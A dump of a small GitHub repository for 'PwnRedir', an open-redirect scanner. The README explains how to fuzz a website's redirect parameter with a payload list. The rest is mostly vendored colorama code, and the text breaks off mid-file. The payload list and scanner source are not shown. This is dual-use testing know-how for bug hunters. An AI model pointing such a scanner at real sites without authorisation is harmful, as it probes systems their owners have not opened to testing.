├── .github └── FUNDING.yml ├── .gitignore ├── README.md ├── banner.PNG ├── colorama ├── __init__.py ├── __init__.pyc ├── __pycache__ │ ├── __init__.cpython-35.pyc │ ├── __init__.cpython-36.pyc │ ├── ansi.cpython-35.pyc │ ├── ansi.cpython-36.pyc │ ├── ansitowin32.cpython-35.pyc │ ├── ansitowin32.cpython-36.pyc │ ├── initialise.cpython-35.pyc │ ├── initialise.cpython-36.pyc │ ├── win32.cpython-35.pyc │ ├── win32.cpython-36.pyc │ ├── winterm.cpython-35.pyc │ └── winterm.cpython-36.pyc ├── ansi.py ├── ansi.pyc ├── ansitowin32.py ├── ansitowin32.pyc ├── initialise.py ├── initialise.pyc ├── win32.py ├── win32.pyc ├── winterm.py └── winterm.pyc ├── payloads.list ├── pwnredir.py └── requirements.txt /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | ko_fi: duckoverflow 2 | custom: ["https://paypal.me/andripwn", "https://saweria.co/duckoverflow"] 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Build and Release Folders 2 | bin-debug/ 3 | bin-release/ 4 | [Oo]bj/ 5 | [Bb]in/ 6 | 7 | # Other files and folders 8 | .settings/ 9 | 10 | # Executables 11 | *.swf 12 | *.air 13 | *.ipa 14 | *.apk 15 | 16 | # Project files, i.e. `.project`, `.actionScriptProperties` and `.flexProperties` 17 | # should NOT be excluded as they contain compiler settings and other important 18 | # information for Eclipse / Flash Builder. 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## About PwnRedir 2 | 3 | PwnRedir is a tool designed to detect open redirects vulnerabilities on websites. It helps penetration testers and bug hunters find open redirect bugs through a scan supported by a list of payloads. 4 | 5 | ## Screenshot 6 | ![Alt text](https://github.com/pwn0sec/open-redir/blob/master/banner.PNG?raw=true) 7 | 8 | ## Installation 9 | git clone https://github.com/pwn0sec/open-redir.git 10 | 11 | ## Dependencies 12 | PwnRedir use requests python module. 13 | ``` 14 | sudo pip install -r requirements.txt 15 | ``` 16 | 17 | ## Usage 18 | | Short form | Long form | Description | 19 | | --- | --- | --- | 20 | | -u | --url | URL to fuzz | 21 | | -f | --file | File with the list of payloads | 22 | | -h | --help | Show the help message | 23 | 24 | ## Examples 25 | * To scan an URL: 26 | ``` 27 | python pwnredir.py -u https://www.example.com/redirect.php?url= -f payloads.list 28 | ``` 29 | ``` 30 | python pwnredir.py --url https://www.example.com/redirect.php?url= --file payloads.list 31 | ``` 32 | 33 | ## Version 34 | Current version is 0.1 35 | -------------------------------------------------------------------------------- /banner.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/banner.PNG -------------------------------------------------------------------------------- /colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.3.3' 7 | 8 | -------------------------------------------------------------------------------- /colorama/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__init__.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/__init__.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/__init__.cpython-35.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/__init__.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/__init__.cpython-36.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/ansi.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/ansi.cpython-35.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/ansi.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/ansi.cpython-36.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/ansitowin32.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/ansitowin32.cpython-35.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/ansitowin32.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/ansitowin32.cpython-36.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/initialise.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/initialise.cpython-35.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/initialise.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/initialise.cpython-36.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/win32.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/win32.cpython-35.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/win32.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/win32.cpython-36.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/winterm.cpython-35.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/winterm.cpython-35.pyc -------------------------------------------------------------------------------- /colorama/__pycache__/winterm.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/__pycache__/winterm.cpython-36.pyc -------------------------------------------------------------------------------- /colorama/ansi.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | ''' 3 | This module generates ANSI character codes to printing colors to terminals. 4 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 5 | ''' 6 | 7 | CSI = '\033[' 8 | OSC = '\033]' 9 | BEL = '\007' 10 | 11 | 12 | def code_to_chars(code): 13 | return CSI + str(code) + 'm' 14 | 15 | def set_title(title): 16 | return OSC + '2;' + title + BEL 17 | 18 | def clear_screen(mode=2): 19 | return CSI + str(mode) + 'J' 20 | 21 | def clear_line(mode=2): 22 | return CSI + str(mode) + 'K' 23 | 24 | 25 | class AnsiCodes(object): 26 | def __init__(self): 27 | # the subclasses declare class attributes which are numbers. 28 | # Upon instantiation we define instance attributes, which are the same 29 | # as the class attributes but wrapped with the ANSI escape sequence 30 | for name in dir(self): 31 | if not name.startswith('_'): 32 | value = getattr(self, name) 33 | setattr(self, name, code_to_chars(value)) 34 | 35 | 36 | class AnsiCursor(object): 37 | def UP(self, n=1): 38 | return CSI + str(n) + 'A' 39 | def DOWN(self, n=1): 40 | return CSI + str(n) + 'B' 41 | def FORWARD(self, n=1): 42 | return CSI + str(n) + 'C' 43 | def BACK(self, n=1): 44 | return CSI + str(n) + 'D' 45 | def POS(self, x=1, y=1): 46 | return CSI + str(y) + ';' + str(x) + 'H' 47 | 48 | 49 | class AnsiFore(AnsiCodes): 50 | BLACK = 30 51 | RED = 31 52 | GREEN = 32 53 | YELLOW = 33 54 | BLUE = 34 55 | MAGENTA = 35 56 | CYAN = 36 57 | WHITE = 37 58 | RESET = 39 59 | 60 | # These are fairly well supported, but not part of the standard. 61 | LIGHTBLACK_EX = 90 62 | LIGHTRED_EX = 91 63 | LIGHTGREEN_EX = 92 64 | LIGHTYELLOW_EX = 93 65 | LIGHTBLUE_EX = 94 66 | LIGHTMAGENTA_EX = 95 67 | LIGHTCYAN_EX = 96 68 | LIGHTWHITE_EX = 97 69 | 70 | 71 | class AnsiBack(AnsiCodes): 72 | BLACK = 40 73 | RED = 41 74 | GREEN = 42 75 | YELLOW = 43 76 | BLUE = 44 77 | MAGENTA = 45 78 | CYAN = 46 79 | WHITE = 47 80 | RESET = 49 81 | 82 | # These are fairly well supported, but not part of the standard. 83 | LIGHTBLACK_EX = 100 84 | LIGHTRED_EX = 101 85 | LIGHTGREEN_EX = 102 86 | LIGHTYELLOW_EX = 103 87 | LIGHTBLUE_EX = 104 88 | LIGHTMAGENTA_EX = 105 89 | LIGHTCYAN_EX = 106 90 | LIGHTWHITE_EX = 107 91 | 92 | 93 | class AnsiStyle(AnsiCodes): 94 | BRIGHT = 1 95 | DIM = 2 96 | NORMAL = 22 97 | RESET_ALL = 0 98 | 99 | Fore = AnsiFore() 100 | Back = AnsiBack() 101 | Style = AnsiStyle() 102 | Cursor = AnsiCursor() 103 | -------------------------------------------------------------------------------- /colorama/ansi.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/ansi.pyc -------------------------------------------------------------------------------- /colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import re 3 | import sys 4 | import os 5 | 6 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 7 | from .winterm import WinTerm, WinColor, WinStyle 8 | from .win32 import windll, winapi_test 9 | 10 | 11 | winterm = None 12 | if windll is not None: 13 | winterm = WinTerm() 14 | 15 | 16 | def is_a_tty(stream): 17 | return hasattr(stream, 'isatty') and stream.isatty() 18 | 19 | 20 | class StreamWrapper(object): 21 | ''' 22 | Wraps a stream (such as stdout), acting as a transparent proxy for all 23 | attribute access apart from method 'write()', which is delegated to our 24 | Converter instance. 25 | ''' 26 | def __init__(self, wrapped, converter): 27 | # double-underscore everything to prevent clashes with names of 28 | # attributes on the wrapped stream object. 29 | self.__wrapped = wrapped 30 | self.__convertor = converter 31 | 32 | def __getattr__(self, name): 33 | return getattr(self.__wrapped, name) 34 | 35 | def write(self, text): 36 | self.__convertor.write(text) 37 | 38 | 39 | class AnsiToWin32(object): 40 | ''' 41 | Implements a 'write()' method which, on Windows, will strip ANSI character 42 | sequences from the text, and if outputting to a tty, will convert them into 43 | win32 function calls. 44 | ''' 45 | ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer 46 | ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command 47 | 48 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 49 | # The wrapped stream (normally sys.stdout or sys.stderr) 50 | self.wrapped = wrapped 51 | 52 | # should we reset colors to defaults after every .write() 53 | self.autoreset = autoreset 54 | 55 | # create the proxy wrapping our output stream 56 | self.stream = StreamWrapper(wrapped, self) 57 | 58 | on_windows = os.name == 'nt' 59 | # We scanner if the WinAPI works, because even if we are on Windows 60 | # we may be using a terminal that doesn't support the WinAPI 61 | # (e.g. Cygwin Terminal). In this case it's up to the terminal 62 | # to support the ANSI codes. 63 | conversion_supported = on_windows and winapi_test() 64 | 65 | # should we strip ANSI sequences from our output? 66 | if strip is None: 67 | strip = conversion_supported 68 | self.strip = strip 69 | 70 | # should we should convert ANSI sequences into win32 calls? 71 | if convert is None: 72 | convert = conversion_supported and not wrapped.closed and is_a_tty(wrapped) 73 | self.convert = convert 74 | 75 | # dict of ansi codes to win32 functions and parameters 76 | self.win32_calls = self.get_win32_calls() 77 | 78 | # are we wrapping stderr? 79 | self.on_stderr = self.wrapped is sys.stderr 80 | 81 | def should_wrap(self): 82 | ''' 83 | True if this class is actually needed. If false, then the output 84 | stream will not be affected, nor will win32 calls be issued, so 85 | wrapping stdout is not actually required. This will generally be 86 | False on non-Windows platforms, unless optional functionality like 87 | autoreset has been requested using kwargs to init() 88 | ''' 89 | return self.convert or self.strip or self.autoreset 90 | 91 | def get_win32_calls(self): 92 | if self.convert and winterm: 93 | return { 94 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 95 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 96 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 97 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 98 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 99 | AnsiFore.RED: (winterm.fore, WinColor.RED), 100 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 101 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 102 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 103 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 104 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 105 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 106 | AnsiFore.RESET: (winterm.fore, ), 107 | AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), 108 | AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), 109 | AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), 110 | AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), 111 | AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), 112 | AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), 113 | AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), 114 | AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), 115 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 116 | AnsiBack.RED: (winterm.back, WinColor.RED), 117 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 118 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 119 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 120 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 121 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 122 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 123 | AnsiBack.RESET: (winterm.back, ), 124 | AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), 125 | AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), 126 | AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), 127 | AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), 128 | AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), 129 | AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), 130 | AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), 131 | AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), 132 | } 133 | return dict() 134 | 135 | def write(self, text): 136 | if self.strip or self.convert: 137 | self.write_and_convert(text) 138 | else: 139 | self.wrapped.write(text) 140 | self.wrapped.flush() 141 | if self.autoreset: 142 | self.reset_all() 143 | 144 | 145 | def reset_all(self): 146 | if self.convert: 147 | self.call_win32('m', (0,)) 148 | elif not self.strip and not self.wrapped.closed: 149 | self.wrapped.write(Style.RESET_ALL) 150 | 151 | 152 | def write_and_convert(self, text): 153 | ''' 154 | Write the given text to our wrapped stream, stripping any ANSI 155 | sequences from the text, and optionally converting them into win32 156 | calls. 157 | ''' 158 | cursor = 0 159 | text = self.convert_osc(text) 160 | for match in self.ANSI_CSI_RE.finditer(text): 161 | start, end = match.span() 162 | self.write_plain_text(text, cursor, start) 163 | self.convert_ansi(*match.groups()) 164 | cursor = end 165 | self.write_plain_text(text, cursor, len(text)) 166 | 167 | 168 | def write_plain_text(self, text, start, end): 169 | if start < end: 170 | self.wrapped.write(text[start:end]) 171 | self.wrapped.flush() 172 | 173 | 174 | def convert_ansi(self, paramstring, command): 175 | if self.convert: 176 | params = self.extract_params(command, paramstring) 177 | self.call_win32(command, params) 178 | 179 | 180 | def extract_params(self, command, paramstring): 181 | if command in 'Hf': 182 | params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) 183 | while len(params) < 2: 184 | # defaults: 185 | params = params + (1,) 186 | else: 187 | params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) 188 | if len(params) == 0: 189 | # defaults: 190 | if command in 'JKm': 191 | params = (0,) 192 | elif command in 'ABCD': 193 | params = (1,) 194 | 195 | return params 196 | 197 | 198 | def call_win32(self, command, params): 199 | if command == 'm': 200 | for param in params: 201 | if param in self.win32_calls: 202 | func_args = self.win32_calls[param] 203 | func = func_args[0] 204 | args = func_args[1:] 205 | kwargs = dict(on_stderr=self.on_stderr) 206 | func(*args, **kwargs) 207 | elif command in 'J': 208 | winterm.erase_screen(params[0], on_stderr=self.on_stderr) 209 | elif command in 'K': 210 | winterm.erase_line(params[0], on_stderr=self.on_stderr) 211 | elif command in 'Hf': # cursor position - absolute 212 | winterm.set_cursor_position(params, on_stderr=self.on_stderr) 213 | elif command in 'ABCD': # cursor position - relative 214 | n = params[0] 215 | # A - up, B - down, C - forward, D - back 216 | x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] 217 | winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) 218 | 219 | 220 | def convert_osc(self, text): 221 | for match in self.ANSI_OSC_RE.finditer(text): 222 | start, end = match.span() 223 | text = text[:start] + text[end:] 224 | paramstring, command = match.groups() 225 | if command in '\x07': # \x07 = BEL 226 | params = paramstring.split(";") 227 | # 0 - change title and icon (we will only change title) 228 | # 1 - change icon (we don't support this) 229 | # 2 - change title 230 | if params[0] in '02': 231 | winterm.set_title(params[1]) 232 | return text 233 | -------------------------------------------------------------------------------- /colorama/ansitowin32.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/ansitowin32.pyc -------------------------------------------------------------------------------- /colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import contextlib 4 | import sys 5 | 6 | from .ansitowin32 import AnsiToWin32 7 | 8 | 9 | orig_stdout = None 10 | orig_stderr = None 11 | 12 | wrapped_stdout = None 13 | wrapped_stderr = None 14 | 15 | atexit_done = False 16 | 17 | 18 | def reset_all(): 19 | AnsiToWin32(orig_stdout).reset_all() 20 | 21 | 22 | def init(autoreset=False, convert=None, strip=None, wrap=True): 23 | 24 | if not wrap and any([autoreset, convert, strip]): 25 | raise ValueError('wrap=False conflicts with any other arg=True') 26 | 27 | global wrapped_stdout, wrapped_stderr 28 | global orig_stdout, orig_stderr 29 | 30 | orig_stdout = sys.stdout 31 | orig_stderr = sys.stderr 32 | 33 | if sys.stdout is None: 34 | wrapped_stdout = None 35 | else: 36 | sys.stdout = wrapped_stdout = \ 37 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 38 | if sys.stderr is None: 39 | wrapped_stderr = None 40 | else: 41 | sys.stderr = wrapped_stderr = \ 42 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 43 | 44 | global atexit_done 45 | if not atexit_done: 46 | atexit.register(reset_all) 47 | atexit_done = True 48 | 49 | 50 | def deinit(): 51 | if orig_stdout is not None: 52 | sys.stdout = orig_stdout 53 | if orig_stderr is not None: 54 | sys.stderr = orig_stderr 55 | 56 | 57 | @contextlib.contextmanager 58 | def colorama_text(*args, **kwargs): 59 | init(*args, **kwargs) 60 | try: 61 | yield 62 | finally: 63 | deinit() 64 | 65 | 66 | def reinit(): 67 | if wrapped_stdout is not None: 68 | sys.stdout = wrapped_stdout 69 | if wrapped_stderr is not None: 70 | sys.stderr = wrapped_stderr 71 | 72 | 73 | def wrap_stream(stream, convert, strip, autoreset, wrap): 74 | if wrap: 75 | wrapper = AnsiToWin32(stream, 76 | convert=convert, strip=strip, autoreset=autoreset) 77 | if wrapper.should_wrap(): 78 | stream = wrapper.stream 79 | return stream 80 | 81 | 82 | -------------------------------------------------------------------------------- /colorama/initialise.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/initialise.pyc -------------------------------------------------------------------------------- /colorama/win32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | 3 | # from winbase.h 4 | STDOUT = -11 5 | STDERR = -12 6 | 7 | try: 8 | import ctypes 9 | from ctypes import LibraryLoader 10 | windll = LibraryLoader(ctypes.WinDLL) 11 | from ctypes import wintypes 12 | except (AttributeError, ImportError): 13 | windll = None 14 | SetConsoleTextAttribute = lambda *_: None 15 | winapi_test = lambda *_: None 16 | else: 17 | from ctypes import byref, Structure, c_char, POINTER 18 | 19 | COORD = wintypes._COORD 20 | 21 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 22 | """struct in wincon.h.""" 23 | _fields_ = [ 24 | ("dwSize", COORD), 25 | ("dwCursorPosition", COORD), 26 | ("wAttributes", wintypes.WORD), 27 | ("srWindow", wintypes.SMALL_RECT), 28 | ("dwMaximumWindowSize", COORD), 29 | ] 30 | def __str__(self): 31 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 32 | self.dwSize.Y, self.dwSize.X 33 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 34 | , self.wAttributes 35 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 36 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 37 | ) 38 | 39 | _GetStdHandle = windll.kernel32.GetStdHandle 40 | _GetStdHandle.argtypes = [ 41 | wintypes.DWORD, 42 | ] 43 | _GetStdHandle.restype = wintypes.HANDLE 44 | 45 | _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo 46 | _GetConsoleScreenBufferInfo.argtypes = [ 47 | wintypes.HANDLE, 48 | POINTER(CONSOLE_SCREEN_BUFFER_INFO), 49 | ] 50 | _GetConsoleScreenBufferInfo.restype = wintypes.BOOL 51 | 52 | _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute 53 | _SetConsoleTextAttribute.argtypes = [ 54 | wintypes.HANDLE, 55 | wintypes.WORD, 56 | ] 57 | _SetConsoleTextAttribute.restype = wintypes.BOOL 58 | 59 | _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition 60 | _SetConsoleCursorPosition.argtypes = [ 61 | wintypes.HANDLE, 62 | COORD, 63 | ] 64 | _SetConsoleCursorPosition.restype = wintypes.BOOL 65 | 66 | _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA 67 | _FillConsoleOutputCharacterA.argtypes = [ 68 | wintypes.HANDLE, 69 | c_char, 70 | wintypes.DWORD, 71 | COORD, 72 | POINTER(wintypes.DWORD), 73 | ] 74 | _FillConsoleOutputCharacterA.restype = wintypes.BOOL 75 | 76 | _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute 77 | _FillConsoleOutputAttribute.argtypes = [ 78 | wintypes.HANDLE, 79 | wintypes.WORD, 80 | wintypes.DWORD, 81 | COORD, 82 | POINTER(wintypes.DWORD), 83 | ] 84 | _FillConsoleOutputAttribute.restype = wintypes.BOOL 85 | 86 | _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA 87 | _SetConsoleTitleW.argtypes = [ 88 | wintypes.LPCSTR 89 | ] 90 | _SetConsoleTitleW.restype = wintypes.BOOL 91 | 92 | handles = { 93 | STDOUT: _GetStdHandle(STDOUT), 94 | STDERR: _GetStdHandle(STDERR), 95 | } 96 | 97 | def winapi_test(): 98 | handle = handles[STDOUT] 99 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 100 | success = _GetConsoleScreenBufferInfo( 101 | handle, byref(csbi)) 102 | return bool(success) 103 | 104 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 105 | handle = handles[stream_id] 106 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 107 | success = _GetConsoleScreenBufferInfo( 108 | handle, byref(csbi)) 109 | return csbi 110 | 111 | def SetConsoleTextAttribute(stream_id, attrs): 112 | handle = handles[stream_id] 113 | return _SetConsoleTextAttribute(handle, attrs) 114 | 115 | def SetConsoleCursorPosition(stream_id, position, adjust=True): 116 | position = COORD(*position) 117 | # If the position is out of range, do nothing. 118 | if position.Y <= 0 or position.X <= 0: 119 | return 120 | # Adjust for Windows' SetConsoleCursorPosition: 121 | # 1. being 0-based, while ANSI is 1-based. 122 | # 2. expecting (x,y), while ANSI uses (y,x). 123 | adjusted_position = COORD(position.Y - 1, position.X - 1) 124 | if adjust: 125 | # Adjust for viewport's scroll position 126 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 127 | adjusted_position.Y += sr.Top 128 | adjusted_position.X += sr.Left 129 | # Resume normal processing 130 | handle = handles[stream_id] 131 | return _SetConsoleCursorPosition(handle, adjusted_position) 132 | 133 | def FillConsoleOutputCharacter(stream_id, char, length, start): 134 | handle = handles[stream_id] 135 | char = c_char(char.encode()) 136 | length = wintypes.DWORD(length) 137 | num_written = wintypes.DWORD(0) 138 | # Note that this is hard-coded for ANSI (vs wide) bytes. 139 | success = _FillConsoleOutputCharacterA( 140 | handle, char, length, start, byref(num_written)) 141 | return num_written.value 142 | 143 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 144 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 145 | handle = handles[stream_id] 146 | attribute = wintypes.WORD(attr) 147 | length = wintypes.DWORD(length) 148 | num_written = wintypes.DWORD(0) 149 | # Note that this is hard-coded for ANSI (vs wide) bytes. 150 | return _FillConsoleOutputAttribute( 151 | handle, attribute, length, start, byref(num_written)) 152 | 153 | def SetConsoleTitle(title): 154 | return _SetConsoleTitleW(title) 155 | -------------------------------------------------------------------------------- /colorama/win32.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/win32.pyc -------------------------------------------------------------------------------- /colorama/winterm.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | BRIGHT_BACKGROUND = 0x80 # dim text, bright background 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. 31 | # So that LIGHT_EX colors and BRIGHT style do not clobber each other, 32 | # we track them separately, since LIGHT_EX is overwritten by Fore/Back 33 | # and BRIGHT is overwritten by Style codes. 34 | self._light = 0 35 | 36 | def get_attrs(self): 37 | return self._fore + self._back * 16 + (self._style | self._light) 38 | 39 | def set_attrs(self, value): 40 | self._fore = value & 7 41 | self._back = (value >> 4) & 7 42 | self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) 43 | 44 | def reset_all(self, on_stderr=None): 45 | self.set_attrs(self._default) 46 | self.set_console(attrs=self._default) 47 | 48 | def fore(self, fore=None, light=False, on_stderr=False): 49 | if fore is None: 50 | fore = self._default_fore 51 | self._fore = fore 52 | # Emulate LIGHT_EX with BRIGHT Style 53 | if light: 54 | self._light |= WinStyle.BRIGHT 55 | else: 56 | self._light &= ~WinStyle.BRIGHT 57 | self.set_console(on_stderr=on_stderr) 58 | 59 | def back(self, back=None, light=False, on_stderr=False): 60 | if back is None: 61 | back = self._default_back 62 | self._back = back 63 | # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style 64 | if light: 65 | self._light |= WinStyle.BRIGHT_BACKGROUND 66 | else: 67 | self._light &= ~WinStyle.BRIGHT_BACKGROUND 68 | self.set_console(on_stderr=on_stderr) 69 | 70 | def style(self, style=None, on_stderr=False): 71 | if style is None: 72 | style = self._default_style 73 | self._style = style 74 | self.set_console(on_stderr=on_stderr) 75 | 76 | def set_console(self, attrs=None, on_stderr=False): 77 | if attrs is None: 78 | attrs = self.get_attrs() 79 | handle = win32.STDOUT 80 | if on_stderr: 81 | handle = win32.STDERR 82 | win32.SetConsoleTextAttribute(handle, attrs) 83 | 84 | def get_position(self, handle): 85 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 86 | # Because Windows coordinates are 0-based, 87 | # and win32.SetConsoleCursorPosition expects 1-based. 88 | position.X += 1 89 | position.Y += 1 90 | return position 91 | 92 | def set_cursor_position(self, 